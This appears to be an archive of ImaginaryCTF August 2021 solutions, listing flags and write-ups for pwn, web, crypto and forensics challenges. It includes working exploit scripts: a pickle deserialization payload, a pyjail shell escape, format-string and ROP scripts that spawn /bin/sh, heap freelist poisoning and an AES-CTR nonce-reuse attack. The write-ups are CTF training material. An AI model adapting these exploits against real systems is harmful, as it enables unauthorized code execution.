Archived Challenges - August 2021

Copy paste the flag

ictf{unpuzzled_1_was_a_bad_challenge_sorry}

grep -r ictf or strings the zip

ictf{grep_-r_to_the_rescue}

zlib.decompress(binascii.unhexlify("785ecb4c2e49abaeca314c8a372c8e4f3630c8892f324ccf28b1af050079eb092d")) or let cyberchef it for you

ictf{zl1b_1s_c00l_r1ght?}

The attached script generates a right payload. The idea is that at step 3, there is no else statement so that we fallback to super().find_class(module, name) with the sole restriction that the module has to be main, and name must not contain ex or ev. The gist of it is that we can grab the NotAPickle class, and then instance it. Because of the call override, we can use the reduce bytecode to call load; this means we can use the same trick to grab other things, for instance NotAPickle.getattribute to get ''.join and then parts to get ''.join(parts)

from pickletools import dis
from base64 import b64encode

def make(base, main = False):
    if not main:
        base = b'c__main__\n' + base + b'\n'

    payload = b'c__main__\n\n0c__main__\n\n0' + base + b'.'
    payload = b'\x80\x04\x95' + (0 + len(payload)).to_bytes(8, 'little') + payload

    if not main:
        return b'C' + bytes([len(payload)]) + payload + b'o)R'

    return payload

# get_items = b'\x80\x04c__main__\nparts.__getitem__'
_attrs = make(b'NotAPickle.__getattribute__')
_parts = make(b'parts')
payload = make(b'(c__main__\nNotAPickle\n\x94' + _attrs + b'\x8c\x00\x8c\x04join\x86R' + b'(h\x00' + _parts + b'\x85R', main=True)

dis(payload)
print('*'*201)
dis(_attrs[2:-2])
print('*'*201)
dis(_parts[2:-2])
print('*'*201)

print(b64encode(payload).decode())

ictf{D1d_y0U_p1cl3_pIcKL3s_yOuRs3lF?}

ctypes.cdll.LoadLibrary("libc.so.6").system(b"sh")

ictf{ret2libc_is_too_hard_so_pyjail_with_libc_ftw}

Chunk sizes aren't checked before allocating, so the ealloc(2048) returns the chunk with size 8. We can do a "heap" overflow to overwrite the forward pointer of the next chunk, poison the freelist linked-list, write a one_gadget to puts@GOT, and get a shell.

(btw, the mmapped chunk created by ealloc's init_heap is aligned with libc, so when the program leaks the chunk address, that chunk is actually a constant distance from libc. I might change that in the future though 👀)

ictf{s1ze_ch3ck1ng_1s_1mp0rt4nt}

This is a format string arbitrary write. The stack offset can be determined with the input AAAABBBB.%p.%p.%p.%p.%p.%p.%p, which will show that the beginning of the input is 6 stack entries away. The structure for the payload is then %{filler}c%{offset}$hhn{addr} where filler is the number of bytes you wish to write, offset is the offset from the stack that the address is at (6 if the address is at the beginning of the input, +1 for every 8 bytes away from the beginning of the input), and addr is the address we wish to write to. Multiple of these can be combined to write multiple bytes, as long as the addresses are at the end of the input, as the addresses contain null bytes.

Two notes: it's possible to write 2 bytes at a time by doing %hn instead of %hhn. Additionally, stack alignment is still a problem here, so you may need to add an extra 8 bytes to the input.

#!/usr/bin/env python3

from pwn import *

LOCAL = 0

def get_new_process():
    if LOCAL:
        return process(["./graphophobia"])
    else:
        return remote("puzzler7.imaginaryctf.org", 8000)

if __name__ == '__main__':
    p = get_new_process()
    p.recvuntil("at ")
    addr = int(p.recvline().strip().decode(), 16)
    print("pass at", hex(addr)) 
    payload = b"aaaaaaaaaaaa%21c%13$hhn%34c%14$hhn%34c%15$hhn%34c%16$hhn" + p64(addr) + p64(addr+1) + p64(addr+2) + p64(addr+3)
    print("payload", payload)
    print("len", len(payload))
    p.sendline(payload)
    p.interactive()```

ictf{im_scar3d_of_writing_good_flags_so_you_get_this_instead}

Use seccomp-tools dump ./carcerophobia to dump the seccomp filter, rop to open read write flag.txt

https://imaginaryctf.org/r/10C8-solve.py

ictf{mAyBe_4_c0uPlE_0f_m1nUtEs_1f_y0u’Re_f4sT}

We have a combination of a format string injection and a buffer overflow to get there. The buffer where we have the injection is checked that it doesn't contain %, but afterwards, the buffer just before it in memory is read into, and can be overflowed. With some experimentation to find the correct offset on the stack, we can use 2 iterations to leak both the stack canary, and the return address of main. The former allows us to start a ROP, the latter gives us a libc leak to bypass ASLR. If libc wasn't given (an option to consider, but then the distributed files need changing, so let me know in that case), you could also leak the base address of the binary by leaking the return address of run, followed leaking addresses from the GOT to determine the libc version with e.g. https://libc.rip. Once we have the canary and libc leak then, we can find a magic gadget (e.g. with the one_gadget tool) to get a shell, or otherwise ROP our way to victory.

from pwn import *

context.binary = elf = ELF("./dumb")
libc = ELF("./libc-2.27.so")

#conn = elf.process()
conn = remote("localhost", 31337)

conn.sendline("a")
conn.sendline(b"a"*19 + b'%19$p')

conn.recvuntil("0x")
leak = int(conn.recvline(), 16)
libc.address = leak - 0x8d473
info("libc at " + hex(libc.address))

conn.sendline("n")
conn.sendline("a")
conn.sendline(b"a"*19 + b'%27$p')

conn.recvuntil("0x")
canary = int(conn.recvline(), 16)
info("canary is " + hex(canary))

conn.sendline("n")
conn.sendline("a")

rop = ROP(libc)

payload = b'a'*0x98
payload += p64(canary)
payload += p64(0)
payload += p64(rop.find_gadget(["ret"])[0])
payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libc.symbols["system"])

conn.sendline(payload)

conn.sendline("y")

conn.interactive()```

ictf{1_filt3r3d_the_f0rm4t_str1ing,_b0$$}

Please DM Eth007 if you solved this.

ictf{sometimes_you_need_to_ask_yourself_what_do_you_get_out_of_the_ctf_did_you_learn_something_new_a_new_skill_perhaps_or_is_it_just_pure_guess_-an_op_ctf_player,_2021}

Straightforward coding challenge with really simple rules. One sample solution:

numbers = [328125, 309375, 3712, 3264, 384375, 221875, 1536, 1536, 3200, 296875, 2752, 303125, 3648, 153125, 303125, 3136, 3456, 159375, 296875, 2496, 303125, 340625, 159375, 359375, 296875, 2624, 296875, 2688, 3328, 159375, 328125, 3648, 296875, 1536, 371875, 3520, 296875, 2624, 159375, 371875, 303125, 3648, 3200, 390625]
while "ictf" not in (flag := ''.join(chr(n) for n in numbers)):
    for i in range(len(numbers)):
        if numbers[i] % 2 == 0:
            numbers[i] >>= 1
        elif numbers[i] % 5 == 0:
            numbers[i] //= 5
        elif numbers[i] % 3 == 0:
            numbers[i] += 8
print(flag)

ictf{G00d_Var1abl3_Nam3s_R_Th3ir_0wn_R3ward}

The blacklist is easily bypassed - . is replaced by [a-z], * and + are replaced by {0,} and {1,} respectively.

A wordlist can be generated by downloading the book. From here, there's multiple ways to solve, but most involve binary search of some sort. You can binary search the length of the word, and then binary search the first few characters, which should be enough to narrow the wordlist enough to get the flag, after a lucky attempt. A very rough script that does this can be found here: https://imaginaryctf.org/r/6D8F-x.py

ictf{gr8_r3gex_sk1ilZ!!!}

To enter the full username and password, change the value of maxlength in the input boxes to a large value or just remove them entirely. Additionally, you could've posted the data with curl if you changed your user agent

ictf{cr34t3_sup3r_l0ng_chann3l_nam3s_by_ed1t1ng_maxlength!_roocash_}

Each button takes us to a new webpage. After clicking the button 500 times, we get the flag. A simple script will do this in just a few minutes.

import requests
import re
import time

baseurl = "http://puzzler7.imaginaryctf.org:7000/"
url = baseurl

rx = r'action="(.*)"'

i = 0

while True:
    req = requests.get(url)
    text = req.text
    if req.status_code == 429:
        time.sleep(.1)
        continue
    if "ictf{" in text and "fake" not in text:
        print(text)
        break
    url = baseurl+re.search(rx, text).group(1)
    i += 1
    if i%25 == 0:
        print(i)
    time.sleep(.1)```

ictf{7h3r3-r3@lly-1s-@-l1n3!!!}

Original writeup is too long, so it's been moved to here: https://pastebin.com/WVwgKfTA

ictf{th4t's_th3_3nd_0f_th3_s0urc3s_4dv3ntur3!_y0u'v3_fr33d_4dmin!_c0ngr4ts!}

Visit the given link: :9001, see the comment with something about /state. Go to /state, see a token and port. Create a script (or be very fast) to get that state and port and do a get request at :/?token= to get the flag.

import requests, re
s = requests.Session()

def do():
  base = 'http://puzzler7.imaginaryctf.org:9001'
  port,token = eval(s.get(f'{base}:9001/state').text).values()
  print(re.compile("ictf{[^}]+}").search(s.get(f'{base}:{port}/flag?token={token}').text).group(0))

do()```

ictf{such_m0v1ng_much_w0w!!!}

The binary message has been encoded with a repetition code of length 3 - the length can be brute forced, or deduced by the small number of factors (3, 8, 17). Taking the average of every three characters will yield the flag.

#!/usr/bin/env python3

from Crypto.Util.number import *

ct = '<long text redacted>'

blocks = [ct[i:i+3] for i in range(0, len(ct), 3)]
print(blocks)

ret = ''
for b in blocks:
    s = 0
    for c in b:
        s += int(c)
    ret += str(int(round(s/3, 0)))

print(long_to_bytes(int(ret, 2)))

ictf{I_can_hear_despite_the_noise}

Everything after the is in the Base64 characterset. A quick decoding yields: g3jRWp3jY3KyZpL2Vo\vWozpUH\y\l[3cm3weHXjU3rsXnu3do[4XpDodYT-cnG;RS??

The new pattern matches the original to confirm the right track. The characterset again looks similar to Base64 except it has {, |, and ?. The initial letters ROT indicate a rotation encoding and the character set shows it would need to be across ASCII. Using Rot47, a small shift of -2 turns the question marks into equal signs: e1hPUn1hW1IwXnJ0TmZtUmxnSFZwZjY1ak1ucFVhS1pqVls1bmY2VnBmbWR+alE9PQ==

With something that looks like Base64 again, it can be decoded: a[R0^rtNfmRlgHVpf65jMnpUaKZjV[5nf6Vpfmd~jQ==

It looks like Base64, but the letters are keying XOR. Trying base64 yields complete garbage. For XOR though, we don't explicitly have a key. The ROT key was 2 and the title of the challenge is "Inception Sequel". Either through a brute force or an attempt to reuse the same key of "2", the result looks identical to the previous ROT encoding - ending in question marks: cYP2\pvLdoPneJTrd47hOlrWcIXhTY7ld4Trdof|hS??

Inception... Reapplying the same ROT yields and then Base64 decodes the flag: ROT: aWN0ZntJbmNlcHRpb25fMjpUaGVfRW5jb2RpbmdzfQ== Base64: ictf

CyberChef Solution Recipe: Find_/Replace({'option':'Regex','string':''},'',true,false,true,false) From_Base64('A-Za-z0-9+/=',true) Find/Replace({'option':'Regex','string':''},'',true,false,true,false) ROT47(-2) From_Base64('A-Za-z0-9+/=',true) Find/_Replace({'option':'Regex','string':''},'',true,false,true,false) XOR({'option':'Hex','string':'2'},'Standard',false) ROT47(-2) From_Base64('A-Za-z0-9+/=',true)

ictf{Inception_2:The_Encodings}

ctryptography is a play on cryptography, and a reference to AES CTR mode, which is implemented here incorrectly and can be exploited to get the flag.

The nonce is a single random byte each encryption, and the key is the same for all encryptions in a single connection. Thus, connecting enough times will lead to a reused nonce, which will leak the bytes used to encrypt.

from pwn import *
# io = process(["python3", "./main.py"])
io = remote("puzzler7.imaginaryctf.org", 6666)

def iogetenc(): return bytes.fromhex(io.recvline().strip().decode())

io.recvuntil(b"encrypted flag: ")
enc_flag = iogetenc()

inp = b"A" * len(enc_flag)

def do():
  while True:
    io.sendline(inp)
    io.recvuntil(b"like me to encrypt? ")
    state = xor(iogetenc(), inp)
    if b"ictf{" in xor(state, enc_flag):
      return xor(state, enc_flag)

print(do())```

ictf{c7rypt0gr4Phy_1s_th3_b3st_7yp3_0f_crYpt0gR4pHy}

Multiprime Paillier cryptosystem, standard decryption applies but you have to compute lambda (or phi also works) with multiple prime factors after factoring

from sage.all import factor
from math import prod
from Crypto.Util.number import long_to_bytes

with open("output.txt", "r") as f:
    exec(f.read())
L = lambda x: (x - 1) // N
lam = int(prod(p - 1 for p, _ in factor(N)))
mu = pow(L(pow(g, lam, N**2)), -1, N)
m = (L(pow(c, lam, N**2)) * mu) % N
print(long_to_bytes(m))

ictf{S0rry_f0r_t3h_b4d_pun_n4m3}

Multiprime Rabin. You can easily factor N by doing a small brute force search around it's 4th root (over the integers). Then you just need to enumerate all 2^4 possible square root combinations to find which one gives a correct flag format when applying CRT.

from Crypto.Util.number import long_to_bytes
import itertools

with open("output.txt", "r") as f:
    exec(f.read())

n = N
primes = []
for i in range(4, 1, -1):
    root = ZZ(floor(n^(1/i)))
    while n % root != 0:
        root += 1
    n //= root
    primes.append(root)

assert is_prime(n)
primes.append(n)
assert prod(primes) == N

for roots in itertools.product(*[GF(p)(c).sqrt(all=True) for p in primes]):
    t = long_to_bytes(int(crt(list(map(ZZ, roots)), primes)))
    if b"ictf" in t:
        print(t.decode())

ictf{factoring_with_close_primes_and_some_16_possible_solutions}

A note on notation: I will often not explicitly write the modulus $n$, but have its presence be implied by notation (using $\equiv$) or context.

RSA, when used without padding (aka textbook RSA) has several weaknesses, including malleability because of its multiplicative homomorphic properties. Put simply, we can compute

$$E(a * b) \equiv E(a) * E(b).$$

With this, we can first simplify our situation to having $$c_1 \equiv m^, c_2' \equiv c_2 (e_1^{-e_2}) \equiv m^.$$ Do take care that this inverse, and the one that will appear again later on too, is the modular inverse mod $n$, and not a rational number.

From here, we restate the observation the source already gave us, namely that $e_1$ and $e_2$ are twin primes, i.e. $e_2 = e_1 + 2$.

This in turn means we can write $c_2' c_1^{-1} \equiv m^{e_2 - e_1} \equiv m^2$.

Because the flag is fairly small, we know that $m^2 < n$, so we can take the square root over the integers instead to recover $m$ without being troubled by the hardness of modular square roots.

Alternatively, one can form the equality $$m^{xe_1 + ye_2} = m^{1 = m$$ by solving the linear diophantine equation (in this case, simply using the extended euclid's algorithm, as $e_1$ and $e_2$ are coprime) and then computing $$m \equiv c_1}x * c_2'^y.$$

ictf{a_pl41n_squ4r3_r00t_you_say?}

The file initially looks complicated and very math-related, but as the title, description, and difficulty indicate - it should be easy. Just running the program yields the error message: File "SenseAndSensibility.py", line 15, in <module> with open(isSTriangle(Euler_area) + Euler_constant + filter) as SaS: FileNotFoundError: [Errno 2] No such file or directory: '161-0.txt' A simple Google search of the filename will show it is the Project Gutenberg text file of Jane Austen's Sense and Sensibility. Download the file and rerun the script and it will print the flag.

For those who are curious, here is the unobfuscated version with the variable names before they were changed to be ridiculously misleading.

def anagrams(word, words):
    return [an for an in words if sorted(an) == sorted(word)]

filetype = ".txt"

FOUR = len(filetype)
ONE = FOUR // FOUR
TWO = FOUR >> 1
FIVE = FOUR + ONE
SIXTEENHUNDREDONE = (FOUR << ONE + ONE) * (FIVE + FOUR + ONE) + ONE
STRING_161dash0 = str(SIXTEENHUNDREDONE) + "-0"
STRING_1811 = str(SIXTEENHUNDREDONE + FOUR * FIVE) + str(ONE)

with open(STRING_161dash0 + filetype) as SenseAndSensibility:
    while STRING_1811 not in SenseAndSensibility.readline():
        pass
    words = []
    for line in SenseAndSensibility.read().splitlines():
        words.extend(line.split())
    goodwords = sorted(set([word for word in words if word.isalpha() and len(word) == FOUR]))

    flag_words = [word for word in goodwords if len(anagrams(word, goodwords)) > TWO]
    print(f"ictf{{{'_'.join(flag_words[::2])}}}")```

ictf{dare_evil_lief_live_read_stop}

The puzzle description alludes to the famous catch phrase "It ain't easy being green". Either skipping straight to looking at the green channel, or just browsing all the bitplaces per a basic CTF checklist will show a set of Wingdings display across the top of the image. The image itself alludes to "Dingbat" of which Wingdings was the most used Dingbat font before Emojis entered the Unicode standard. Decoding the Wingdings, either through an online listing or by trial and error in Word/Wordpad/etc. yields the flag.

ictf{Wingdings:The_Latin_of_emojis}

To get the key used to xor the 7z file, you can use a bunch of different websites to find the file signature of 7z archives and xor the file with its signature to get the xor key (action). After extracting the rest of the files, a similar process can be repeated for the rest of them. For the mp4 file, since there's an offset of 4 bytes at the beginning before the actual file signature starts, when xoring it with its file signature (the ISO Base Media file one), 4 null bytes (00) can be placed before the file signature to get magAzine to show, and changing it to lowercase gives the key (magazine).

ictf{x0r1ng_4ll_typ3s_0f_f1l3s_1s_4_gr3at_w4y_t0_w4st3_t1me!}

The PNG file has four strange private chunks, tiFt, tiFs, tiFa, and tiFf. These four chunks are a TIFF file with the last letters spelling "fast" when put in order. The file itself has a iTXt as well for Title that uses a different set of unicode characters (in a font-like way) (????????? at ????anny's) to separate "Break" "Fast" "Tiff". The description also uses the lyrics from the song to refer to "falling apart". The slight obfuscation prevents binwalk or CyberChef from trivially extracting the TIFF, but putting the four chunks together in order (reverse that they appear in the file) yields the black and white image with the text of the flag.

import binascii

PNG_SOURCE = "Breakfast at Tiffanys.png"

with open(PNG_SOURCE, "rb") as png, open("flag.tiff", "wb") as flag_image:
    content = png.read()
    assert content[:8] == b'\x89PNG\x0d\x0a\x1a\x0a'
    
    tiff_data= b''
    tif_labels = [i for i in range(len(content) - 4) if content[i:i+3] == b'tiF']
    for index in tif_labels:
        length = int.from_bytes(content[index-4:index], 'big')
        tiff_data = content[index+4:index+4+length] + tiff_data
    flag_image.write(tiff_data)

ictf{Wh3n_1n_d0ub7_br0wse_7h3_b1n4ry}

Looking closely, fix_bytes is just a simple bubble sort. merge_bytes just XORs the two strings together. deprecated only copies the string into a mutable location. The actions can then be manually created in Python.

Additionally, some of the "obsfucation" in the pointer operations is cleared by compiling and decompiling the file.

encrypted_flag = "P67ANY$QU3STV0IC25!WM14";
magic = "HGDWIFkviEp$!zc$9!!xg#$";
print(''.join([chr(ord(a) ^ ord(b)) for a, b in zip(sorted(encrypted_flag), magic)]))```

ictf{u_C_r1gh7-thru-1t}

Extract the ropchain (gdb was good for that) then parse it and find patterns to figure out what its doing

ictf{pwnrev_1s_c00l}

The python file simply performs rot47 on the input, so simply running it again with the ciphertext as the input will yield the flag, as will doing a rot47 in e.g. cyberchef.

ictf{my_gift_to_you_is_this_:_another_easy_chall}

you disassemble the main function see it only calls the "check_key" function which then takes your first argument and takes four bytes of it at a time and calls the powermod function (Which does what it says) and does pow(num,0x10001,prime). To reverse this you just have to calculate phi(prime)==prime-1 and then d=pow(0x10001,-1,phi) and raise the numbers in "UNIMPORTANT_FLAG" to that d to get the correct input

ictf{x0r_w4s_t00_b0r1ng_f0r_m3!}

You can get a list of usable commands with compgen -c | grep -v -E [^culpritm] on your local machine.

Once you have that, there's a few different options to get the flag (and probably others, too):

cut -c -999 culprit
tic -C culprit
pr culprit

ictf{lnt3rp01_th4nk5_u_4_uR_s3rvIc3}

The provided jpg file is a polyglot for a jar file. This can be discovered with binwalk and strings, as well as Jar Jar being depicted in the image. From here, the jar extracts a xor-encrypted ELF file and runs it. This ELF file reads in input from the user, xors it against non-null bytes in the libc, as well as some pseudorandom numbers to check the flag.

ictf{jar_jar_is_just_an_elf_in_disguise_-_he_must_be_a_sith_lord_because_java_is_evil}